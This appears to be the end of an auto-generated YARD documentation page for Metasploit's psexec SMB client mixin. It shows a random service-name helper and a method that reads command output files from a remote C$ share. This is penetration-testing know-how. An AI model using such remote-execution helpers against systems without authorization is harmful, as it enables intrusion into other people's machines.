<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/smb/client/psexec.rb', line 43</span>
<span class='kw'>def</span> <span class='id identifier rubyid_service_name'>service_name</span>
<span class='ivar'>@service_name</span> <span class='op'>||=</span> <span class='id identifier rubyid_datastore'>datastore</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>SERVICE_NAME</span><span class='tstring_end'>&#39;</span></span><span class='rbracket'>]</span>
<span class='ivar'>@service_name</span> <span class='op'>||=</span> <span class='const'><span class='object_link'><a href="../../../../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'>Text</span><span class='period'>.</span><span class='id identifier rubyid_rand_text_alpha'>rand_text_alpha</span><span class='lparen'>(</span><span class='int'>8</span><span class='rparen'>)</span>
<span class='kw'>end</span></pre>
</td>
</tr>
</table>
</div>
<div class="method_details ">
<h3 class="signature " id="smb_read_file-instance_method">
#<strong>smb_read_file</strong>(smbshare, host, file) &#x21d2; <tt>String</tt><sup>?</sup>
</h3><div class="docstring">
<div class="discussion">
<p>Retrieves output from the executed command</p>
</div>
</div>
<div class="tags">
<p class="tag_title">Parameters:</p>
<ul class="param">
<li>
<span class='name'>smbshare</span>
<span class='type'>(<tt>String</tt>)</span>
&mdash;
<div class='inline'>
<p>The SMBshare to connect to. Usually C$</p>
</div>
</li>
<li>
<span class='name'>host</span>
<span class='type'>(<tt>String</tt>)</span>
&mdash;
<div class='inline'>
<p>Remote host to connect to, as an IP address or hostname</p>
</div>
</li>
<li>
<span class='name'>file</span>
<span class='type'>(<tt>String</tt>)</span>
&mdash;
<div class='inline'>
<p>Path to the output file relative to the smbshare Example: 'WINDOWSTempoutputfile.txt'</p>
</div>
</li>
</ul>
<p class="tag_title">Returns:</p>
<ul class="return">
<li>
<span class='type'>(<tt>String</tt>, <tt>nil</tt>)</span>
&mdash;
<div class='inline'>
<p>output or nil on failure</p>
</div>
</li>
</ul>
</div><table class="source_code">
<tr>
<td>
<pre class="lines">
72
73
74
75
76
77
78
79
80
81
82
83
84</pre>
</td>
<td>
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/smb/client/psexec.rb', line 72</span>
<span class='kw'>def</span> <span class='id identifier rubyid_smb_read_file'>smb_read_file</span><span class='lparen'>(</span><span class='id identifier rubyid_smbshare'>smbshare</span><span class='comma'>,</span> <span class='id identifier rubyid_host'>host</span><span class='comma'>,</span> <span class='id identifier rubyid_file'>file</span><span class='rparen'>)</span>
<span class='kw'>begin</span>
<span class='id identifier rubyid_simple'>simple</span><span class='period'>.</span><span class='id identifier rubyid_connect'>connect</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>\\\\</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_host'>host</span><span class='embexpr_end'>}</span><span class='tstring_content'>\\</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_smbshare'>smbshare</span><span class='embexpr_end'>}</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='id identifier rubyid_file'>file</span> <span class='op'>=</span> <span class='id identifier rubyid_simple'>simple</span><span class='period'>.</span><span class='id identifier rubyid_open'>open</span><span class='lparen'>(</span><span class='id identifier rubyid_file'>file</span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>o</span><span class='tstring_end'>&#39;</span></span><span class='rparen'>)</span>
<span class='id identifier rubyid_contents'>contents</span> <span class='op'>=</span> <span class='id identifier rubyid_file'>file</span><span class='period'>.</span><span class='id identifier rubyid_read'>read</span>
<span class='id identifier rubyid_file'>file</span><span class='period'>.</span><span class='id identifier rubyid_close'>close</span>
<span class='id identifier rubyid_simple'>simple</span><span class='period'>.</span><span class='id identifier rubyid_disconnect'>disconnect</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>\\\\</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_host'>host</span><span class='embexpr_end'>}</span><span class='tstring_content'>\\</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_smbshare'>smbshare</span><span class='embexpr_end'>}</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='kw'>return</span> <span class='id identifier rubyid_contents'>contents</span>
<span class='kw'>rescue</span> <span class='const'><span class='object_link'><a href="../../../../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../../Rex/Proto.html" title="Rex::Proto (module)">Proto</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../../Rex/Proto/SMB.html" title="Rex::Proto::SMB (module)">SMB</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../../Rex/Proto/SMB/Exceptions.html" title="Rex::Proto::SMB::Exceptions (module)">Exceptions</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../../Rex/Proto/SMB/Exceptions/ErrorCode.html" title="Rex::Proto::SMB::Exceptions::ErrorCode (class)">ErrorCode</a></span></span><span class='comma'>,</span> <span class='const'>RubySMB</span><span class='op'>::</span><span class='const'>Error</span><span class='op'>::</span><span class='const'>RubySMBError</span> <span class='op'>=&gt;</span> <span class='id identifier rubyid_e'>e</span>
<span class='id identifier rubyid_print_error'>print_error</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>Unable to read file </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_file'>file</span><span class='embexpr_end'>}</span><span class='tstring_content'>. </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_e'>e</span><span class='period'>.</span><span class='id identifier rubyid_class'>class</span><span class='embexpr_end'>}</span><span class='tstring_content'>: </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_e'>e</span><span class='embexpr_end'>}</span><span class='tstring_content'>.</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='kw'>return</span> <span class='kw'>nil</span>
<span class='kw'>end</span>
<span class='kw'>end</span></pre>
</td>
</tr>
</table>
</div>
</div>
</div>
<div id="footer">
Generated on Fri May 8 17:02:25 2026 by
<a href="https://yardoc.org" title="Yay! A Ruby Documentation Tool" target="_parent">yard</a>
0.9.37 (ruby-3.1.5).
</div>
</div>
</body>
</html>